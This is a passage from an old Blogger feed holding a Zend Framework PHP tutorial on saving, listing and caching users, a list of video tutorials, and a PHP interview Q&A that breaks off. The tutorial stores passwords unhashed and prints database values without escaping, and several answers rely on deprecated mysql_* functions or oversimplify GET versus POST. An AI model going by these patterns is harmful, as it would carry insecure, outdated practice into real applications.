?&amp;gt;&lt;br /&gt;
There are more options that you can set up such as a reference map  between classes and database entities, which can make fetching parent  rows and dependent rowsets easier. For the purpose of this tutorial I  wouldn’t go so far. We’ll incorporate the use of the User class to save a  record to the database.&lt;br /&gt;
&lt;h2&gt;Back To The Controller&lt;/h2&gt;Assuming our validation went okay, we have to cater for the form that  must be saved. Let’s look at the modified saveAction and then discuss  the elements (I’m assuming that this code is pasted into your editor  from page 28 of the IndexController therefore line numbers in such  manner:&lt;br /&gt;
public function saveAction() {&lt;br /&gt;
require_once ‘./application/modules/default/models/IndexForm.php’;&lt;br /&gt;
$form = IndexForm::registerForm();&lt;br /&gt;
//handle if form is invalid&lt;br /&gt;
if (!$form-&amp;gt;isValid($_POST)) {&lt;br /&gt;
$this-&amp;gt;view-&amp;gt;form = $form;&lt;br /&gt;
$this-&amp;gt;render(‘register’);&lt;br /&gt;
return;&lt;br /&gt;
}&lt;br /&gt;
//get form values&lt;br /&gt;
$v = $form-&amp;gt;getValues();&lt;br /&gt;
//include model&lt;br /&gt;
require_once ‘models/User.php’;&lt;br /&gt;
$user = new User();&lt;br /&gt;
$data = array(&lt;br /&gt;
‘email’  =&amp;gt; $v[&#39;email&#39;],&lt;br /&gt;
‘password’  =&amp;gt; $v[&#39;password&#39;],&lt;br /&gt;
‘gender’  =&amp;gt; $v[&#39;gender&#39;]&lt;br /&gt;
);&lt;br /&gt;
$user-&amp;gt;insert($data);&lt;br /&gt;
$this-&amp;gt;render();&lt;br /&gt;
}&lt;br /&gt;
If the boolean expression on line 33 returned true, control would  have jumped to line 40 where the filtered values of the form would have  been retrieved using the method getValues. To prevent hacking sql  together for the insert the programmer can&lt;br /&gt;
create an associative array which maps to the database field and through  an instantiated User object make a call to the insert method passing  the array as a parameter as shown on line 51. What joy! The insert  method handles quoting of any data in the array therefore this doesn’t  need to be explicitly done. Thereafter a call to the render method will  display a script congratulating the user on their registration. As a  small test create a such phtml script. Remember the rules and  conventions!&lt;br /&gt;
It will be a good idea in such actions as the one above to test  whether the request was indeed a post. This can be done via a call to  the isPost method of the request object and is accessible through the  action controller through $this-&amp;gt;getRequest(). Therefore testing  whether something is a post can be done as follows if  (!$this-&amp;gt;getRequest()-&amp;gt;isPost()). If the expression results in  false the programmer can forward the script to a preferred location.&lt;br /&gt;
&lt;h2&gt;Back to Zend_DB_Table&lt;/h2&gt;Let’s add a list action to IndexController.php. I’m assuming that the  below code is pasted starting from line 55 of IndexController.php:&lt;br /&gt;
public function listAction() {&lt;br /&gt;
//include model&lt;br /&gt;
require_once ‘models/User.php’;&lt;br /&gt;
$user = new User();&lt;br /&gt;
$userInfo = $user-&amp;gt;info();&lt;br /&gt;
//print_r($userInfo); exit;&lt;br /&gt;
$this-&amp;gt;view-&amp;gt;rsUserList = $user-&amp;gt;fetchAll(null, ‘email’);&lt;br /&gt;
$this-&amp;gt;render();&lt;br /&gt;
}&lt;br /&gt;
The model is included and an object created. While line 59 is of no  consequence to this particular action it demonstrates a method that is  crucial to development. The info method returns an array of information  specific to the database table to which it has been mapped. That means  you can access the name of the database table (handy if you can’t decide  on a standard for naming tables in the office) and mappings of database  fields to columns (just ensure that the fields never change position if  you choose to use an index to access fields rather than their names).  Pressing on, line 62 makes a call to an instance method fetchAll. All  parameters of this method are optional. The first can be a string which  specifies a where clause. The second is the field which you wish to sort  the table by. This can be a comma separated list postfixed by “asc” or  “desc” depending on the order you wish to sort by. It is important to  note that a list of objects are returned from this method therefore  fields are accessed using the -&amp;gt; notation. For programmers wishing an  array of results a subsequent call can be made to the toArray() method.  For example:&lt;br /&gt;
$user-&amp;gt;fetchAll()-&amp;gt;toArray();&lt;br /&gt;
The list is registered with the view object so it can be accessed  from list.phtml, for which the code is pasted below:&lt;br /&gt;
&lt;!--?php&lt;br--&gt; if (count($this-&amp;gt;rsUserList) &amp;gt; 0) {&lt;br /&gt;
echo ‘&lt;br /&gt;
’;&lt;br /&gt;
echo ‘’;&lt;br /&gt;
echo ‘’;&lt;br /&gt;
echo ‘’;&lt;br /&gt;
echo ‘’;&lt;br /&gt;
foreach ($this-&amp;gt;rsUserList as $rsURow) {&lt;br /&gt;
echo ‘&lt;br /&gt;
’;&lt;br /&gt;
echo ‘’;&lt;br /&gt;
echo ‘’;&lt;br /&gt;
echo ‘’;&lt;br /&gt;
}&lt;br /&gt;
echo ‘&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;Email&lt;/th&gt;&lt;th&gt;Gender&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;’.$rsURow-&amp;gt;email.’&lt;/td&gt;&lt;td&gt;’.strtoupper($rsURow-&amp;gt;gender).’&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;’;&lt;br /&gt;
}&lt;br /&gt;
else {&lt;br /&gt;
echo ‘No records found&lt;br /&gt;
’;&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
You may be wondering why in our phtml scripts our registered  variables aren’t being accessed as $this-&amp;gt;view-&amp;gt;rsUserList. It’s  because the script is being rendered within the context of the default  view object therefore elements must be accessed via the this keyword.  The script is straightforward at this point performing a count on the  number of records returned. If it is greater than zero then the list of  objects are traversed. The name of the instance variables will map to  the name of the fields in the database making this approach ideal for  data driven applications. &lt;a href=&quot;http://www.developertutorials.com/wp-content/uploads/2008/08/Figure-6.gif&quot; target=&quot;_blank&quot;&gt;Figure  6&lt;/a&gt; shows what the formatted results would look like.&lt;br /&gt;
&lt;h2&gt;Putting Zend_Registry and Zend_Cache Into Perspective&lt;/h2&gt;Take a look at the following action which I want you to paste  starting from line 66 of the IndexController:&lt;br /&gt;
public function cachelistAction() {&lt;br /&gt;
$db = Zend_Registry::get(‘db’);&lt;br /&gt;
$cache = Zend_Registry::get(‘cache’);&lt;br /&gt;
require_once ‘models/User.php’;&lt;br /&gt;
$user = new User();&lt;br /&gt;
$userInfo = $user-&amp;gt;info();&lt;br /&gt;
$tblUser = $userInfo[&#39;name&#39;];&lt;br /&gt;
if (!$result = $cache-&amp;gt;load(‘userlist’)) {&lt;br /&gt;
$select = $db-&amp;gt;select();&lt;br /&gt;
$select-&amp;gt;from($tblUser);&lt;br /&gt;
$result = $db-&amp;gt;fetchAll($select);&lt;br /&gt;
$cache-&amp;gt;save($result, ‘userlist’);&lt;br /&gt;
}&lt;br /&gt;
$this-&amp;gt;view-&amp;gt;userList = $result;&lt;br /&gt;
$this-&amp;gt;render();&lt;br /&gt;
}&lt;br /&gt;
On line 67 and 68 we reclaim our global variables which we registered  with Zend_Registry. To return the values simply specify the key as a  parameter to the get method. By now line 70 to 73 should be familiar to  us. According to the Zend Framework documentation&lt;br /&gt;
“There are three key concepts in Zend_Cache. One is the unique  indentifier (a string) that is used to identify cache records. The  second one is the ‘lifetime’ directive as seen in the examples; it  defines for how long the cached resource is considered ‘fresh’. The  third key concept is conditional execution so that parts of your code  can be skipped entirely, boosting performance.”&lt;br /&gt;
In our case on line 75 this is the “userlist” which we attempt to  load. If the cache does not have such a record, the variable $result  will be null and the code within the if statement executed. The lifetime  directive was already specified on line 31 of index.php. In our example  a registered user list will not be fresh after every registration so a  lifespan of 2 hours may be unrealistic. This is merely for the purpose  of demonstration. Therefore line 76 to 79 will include code that can get  and cache the user list. Another feature of Zend_Db is demonstrated.  The database object can be used to create a select object specific to  the adapter specified in the beginning. This select object is ideal when  forming SQL statements based on logic for example joining to or  ordering tables based on some sort parameter specified in a get request.  Notice that on line 77 the literal name of the table is not used but  rather the info derived from the user class. Through a call to fetchAll  which can take a sql string or select object, the results are returned  and then cached using the save method. At this point the key is  specified and data. Remember we configured the cache to automatically  serialise our results so it’s okay even though an array of results will  be returned. Results are also automatically unserialized. You can follow  the code in list.phtml and attempt to write a view script for  cachelist.phtml. It’s very easy!&lt;br /&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;I hope this to be a neat introduction to those out there who may wish  to set up an application which maximizes the use of what I would call  the Zend Framework “base components”. Utilizing the few classes I have  discussed in this tutorial you can create sophisticated applications in  1/4 of the time you may be doing so in right now (I speak from  experience). As always feel free to comment or email me. I’ll be more  than happy to contribute. &lt;a href=&quot;http://www.developertutorials.com/wp-content/uploads/2008/08/src.zip&quot;&gt;Click  here to download my source files&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/2636569768632941743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/zend-framework-tutorial.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/2636569768632941743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/2636569768632941743'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/zend-framework-tutorial.html' title='Zend Framework Tutorial'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-5091567155098275585</id><published>2012-02-26T10:32:00.002-08:00</published><updated>2012-02-26T10:32:58.738-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="zend framework videos"/><title type='text'>zend framework videos</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;These are just the first of many planned video tutorials on the Zend web application framework for PHP.&lt;br /&gt;
These particular videos require a little more background  knowledge from the viewer, in terms of overall php development  experience.&lt;br /&gt;
We will have more basic videos coming out soon.&lt;br /&gt;
&lt;h2&gt;Video Tutorials&lt;/h2&gt;Zend Framework video tutorials by Jon Lebensold.&lt;br /&gt;
&lt;ul class=&quot;video3&quot;&gt;&lt;li&gt;        &lt;div class=&quot;left&quot;&gt;         &lt;a href=&quot;http://www.killerphp.com/zend-framework/videos/mvc-zend-part-1.php&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://www.killerphp.com/ks-images/Zend-framework.png&quot; /&gt;&lt;/a&gt;        &lt;/div&gt;&lt;div class=&quot;right&quot;&gt;         &lt;h4&gt;Setting Up an MVC Structure with the Zend Framework - Part 1&lt;/h4&gt;The following  video deals with setting up an MVC structure with the Zend Framework. Part 1 of 2&lt;br /&gt;
&lt;strong&gt;Download Zend MVC source files:&lt;/strong&gt; &lt;a href=&quot;http://www.killerphp.com/zend-framework/videos/setting-up-mvc-zend-downloads.zip&quot;&gt;Download&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.killerphp.com/zend-framework/videos/mvc-zend-part-1.php&quot;&gt;MVC Structure with the Zend Framework&lt;/a&gt; - Part 1&lt;br /&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;        &lt;div class=&quot;left&quot;&gt;         &lt;a href=&quot;http://www.killerphp.com/zend-framework/videos/mvc-zend-part-2.php&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://www.killerphp.com/ks-images/Zend-framework.png&quot; /&gt;&lt;/a&gt;        &lt;/div&gt;&lt;div class=&quot;right&quot;&gt;         &lt;h4&gt;Setting Up an MVC Structure with the Zend Framework -  Part 2&lt;/h4&gt;The following  video deals with setting up an MVC structure with the Zend Framework. Part 2 of 2&lt;br /&gt;
&lt;a href=&quot;http://www.killerphp.com/zend-framework/videos/mvc-zend-part-2.php&quot;&gt;MVC Structure with the Zend Framework&lt;/a&gt; - Part 2&lt;br /&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;        &lt;div class=&quot;left&quot;&gt;         &lt;a href=&quot;http://www.killerphp.com/zend-framework/videos/zend-development-part-1.php&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://www.killerphp.com/ks-images/Zend-framework.png&quot; /&gt;&lt;/a&gt;        &lt;/div&gt;&lt;div class=&quot;right&quot;&gt;         &lt;h4&gt;Setting Up Zend Development - Part 1&lt;/h4&gt;The following 2 videos deal with setting up a development environment. These screencasts are an          attempt at showing you how it&#39;s possible to work with the Zend framework.&lt;br /&gt;
This video assumes that you&#39;re a little familiar with:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;How to work with subversion&lt;/li&gt;
&lt;li&gt; A familiarity with the terminal (bash specifically)&lt;/li&gt;
&lt;li&gt;Configuring apache and setting up a *AMP &lt;br /&gt;
(Apache / MySQL / PHP) stack&lt;/li&gt;
&lt;/ul&gt;These 2 videos are by no means a pre-requisite to my future videos, however I wanted to take the time          and give you glimpse into my own development configuration. &lt;br /&gt;
While the Zend Studio for Eclipse is maturing nicely, the $300 price tag for the application might          not make sense, especially since it&#39;s yet another barrier into diving into the Zend Framework.&lt;br /&gt;
By the end of these two videos, you should have a very peripheral understanding of how the Zend          Framework is instantiated through the PHP parser sitting on Apache. &lt;br /&gt;
Interestingly enough, if you&#39;re coming from a procedural PHP background, you&#39;re going to be familiar          with working without the a development environment like Eclipse, and so you&#39;ll be more in touch with how          PHP as a parser works without what the Zend Framework (and specifically Zend_Controller) offers the developer.&lt;br /&gt;
&lt;a href=&quot;http://www.killerphp.com/zend-framework/videos/zend-development-part-1.php&quot;&gt;Setting Up Zend Development - Part 1 of 2&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;        &lt;div class=&quot;left&quot;&gt;         &lt;a href=&quot;http://www.killerphp.com/zend-framework/videos/zend-development-part-2.php&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://www.killerphp.com/ks-images/Zend-framework.png&quot; /&gt;&lt;/a&gt;        &lt;/div&gt;&lt;div class=&quot;right&quot;&gt;         &lt;h4&gt;Setting Up Zend Development - Part 2&lt;/h4&gt;&lt;a href=&quot;http://www.killerphp.com/zend-framework/videos/zend-development-part-2.php&quot;&gt;Setting Up Zend Development - Part 2 of 2&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;        &lt;div class=&quot;left&quot;&gt;         &lt;a href=&quot;http://www.killerphp.com/zend-framework/videos/zend-controller-zend-view.php&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://www.killerphp.com/ks-images/Zend-framework.png&quot; /&gt;&lt;/a&gt;        &lt;/div&gt;&lt;div class=&quot;right&quot;&gt;         &lt;h4&gt;Zend Controller and Zend View&lt;/h4&gt;This is essentially a continuation of the Zend project project that began in the videos: &#39;Setting          Up Zend Development Part 1 and 2.&#39;&lt;br /&gt;
The goal of this video is to dig a little deeper into the structure of a Zend project. &lt;br /&gt;
Remember that one of the main points of a web framework like the Zend Framework, is to provide          a standardized structure for web applications so programmers new to a particular job (built with a          framework) will be able to much more easily jump into a project... assuming they&#39;ve worked with that          framework before.&lt;br /&gt;
&lt;strong&gt;Running time:&lt;/strong&gt; 10:33&lt;br /&gt;
&lt;a href=&quot;http://www.killerphp.com/zend-framework/videos/zend-controller-zend-view.php&quot;&gt;Zend Controller and View Video Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/5091567155098275585/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/zend-framework-videos.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/5091567155098275585'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/5091567155098275585'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/zend-framework-videos.html' title='zend framework videos'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-8979445965014785278</id><published>2012-02-26T10:28:00.001-08:00</published><updated>2012-02-26T10:28:15.421-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP interview questions and answers"/><title type='text'>PHP interview questions and answers</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; style=&quot;font-family: Verdana; font-size: 8pt; width: 625px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;b&gt;Questions : 1&lt;/b&gt;&lt;/span&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;Who is the father of PHP ?&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Answers : 1&lt;/span&gt;&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Rasmus Lerdorf is known as the father of PHP.  &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;&lt;span class=&quot;IL_AD&quot; id=&quot;IL_AD6&quot;&gt;Questions&lt;/span&gt; : 2&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the difference between $name and $$name? &lt;br /&gt;
&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 2&lt;/b&gt;&lt;/td&gt; &lt;td&gt;$name is variable where as $$name is reference variable &lt;br /&gt;
like $name=sonia and $$name=singh so $sonia value is singh.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 3&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we submit a form without a submit button? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 3&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Java script submit() function is used for submit form without submit button&lt;br /&gt;
on click call document.formname.submit()&lt;/td&gt;&lt;td&gt;&lt;br /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;45&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 4&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;In how many ways we can retrieve the data in the result set of&lt;br /&gt;
MySQL using PHP? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 4&lt;/b&gt;&lt;/td&gt; &lt;td&gt;We can do it by 4 Ways&lt;br /&gt;
1. mysql_fetch_row. , 2. mysql_fetch_array , 3. mysql_fetch_object&lt;br /&gt;
4. mysql_fetch_assoc &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 5&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the difference between mysql_fetch_object and&lt;br /&gt;
mysql_fetch_array? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 5&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&lt;b&gt;mysql_fetch_object()&lt;/b&gt; is similar to&lt;b&gt;mysql_fetch_array()&lt;/b&gt;, with one difference -&lt;br /&gt;
an object is returned, instead of an array. Indirectly, that means that&lt;br /&gt;
you can only access the data by the field names, and not by their&lt;br /&gt;
offsets (numbers are illegal property names).&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 6&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the differences between Get and post methods. &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 6&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&lt;div align=&quot;justify&quot;&gt;There are some defference between GET and  POST method &lt;br /&gt;
1. GET Method have some limit like only 2Kb data able to send for request &lt;br /&gt;
But in POST method unlimited data can we send &lt;br /&gt;
2. when we use GET method requested data show in url but &lt;br /&gt;
Not in POST method so POST method is good for send  sensetive request &lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 7&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we extract string &quot;pcds.co.in &quot; from a string &quot;http://info@pcds.co.in&lt;br /&gt;
using &lt;span class=&quot;IL_AD&quot; id=&quot;IL_AD2&quot;&gt;regular expression&lt;/span&gt; of PHP? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 7&lt;/b&gt;&lt;/td&gt; &lt;td&gt;preg_match(&quot;/^http:\/\/.+@(.+)$/&quot;,&quot;http://info@pcds.co.in&quot;,$matches);&lt;br /&gt;
echo $matches[1];&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 8&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we create a database using PHP and MySQL? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 8&lt;/b&gt;&lt;/td&gt; &lt;td&gt;We can create MySQL database with the use of&lt;br /&gt;
mysql_create_db(&quot;Database Name&quot;)&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 9&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the differences between require and include? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 9&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Both include and require used to include a file but when included file not found &lt;br /&gt;
Include send Warning where as Require send Fatal Error .&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 10&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt; &amp;nbsp;Can we use include (&quot;xyz.PHP&quot;) two times in a PHP page &quot;index.PHP&quot;?&lt;br /&gt;
&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 10&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&amp;nbsp;  Yes we can use include(&quot;xyz.php&quot;) more than one time in any page.  but  it create a prob when xyz.php file contain some funtions declaration    then error will come for already declared function in this file else   not a prob like if you want to show same content two time in page then   must incude it two time not a prob &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 11&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;&amp;nbsp; What are the different tables(Engine) present in MySQL, which one is default? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 11&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&amp;nbsp;Following tables (Storage Engine) we can create&lt;br /&gt;
1. &lt;b&gt;MyISAM&lt;/b&gt;(The default storage engine IN MYSQL  Each MyISAM table  is stored on disk in three files.  The files have names that begin with  the table name   and have an extension to indicate the file type. An  .frm   file stores the table format. The data file has an .MYD  (MYData)  extension. The index file has an .MYI (MYIndex) extension. )&lt;br /&gt;
2. &lt;b&gt;InnoDB&lt;/b&gt;(InnoDB is a transaction-safe (ACID compliant)  storage  engine for MySQL that has commit, rollback, and  crash-recovery  capabilities to protect user data.)&lt;br /&gt;
3. &lt;b&gt;Merge&lt;/b&gt;&lt;br /&gt;
4. &lt;b&gt;Heap (MEMORY)&lt;/b&gt;(The MEMORY storage engine creates tables with   contents that are stored in memory. Formerly, these were known  as HEAP  tables. MEMORY is the preferred term, although HEAP  remains supported  for backward compatibility. )&lt;br /&gt;
